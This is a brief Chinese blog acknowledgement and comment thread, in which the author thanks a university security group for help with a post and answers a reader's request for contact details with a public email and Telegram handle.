感谢JLU@NSA的各位dalao们对撰写这篇Blog的帮助。
tqltql
大佬太强了,看了大佬的一些博客,感觉自学能力真的非常厉害,大佬有联系方式吗,想认识一下
邮箱admin@kaaass.net欢迎联系~
IM可以联系TG @KAAAsS。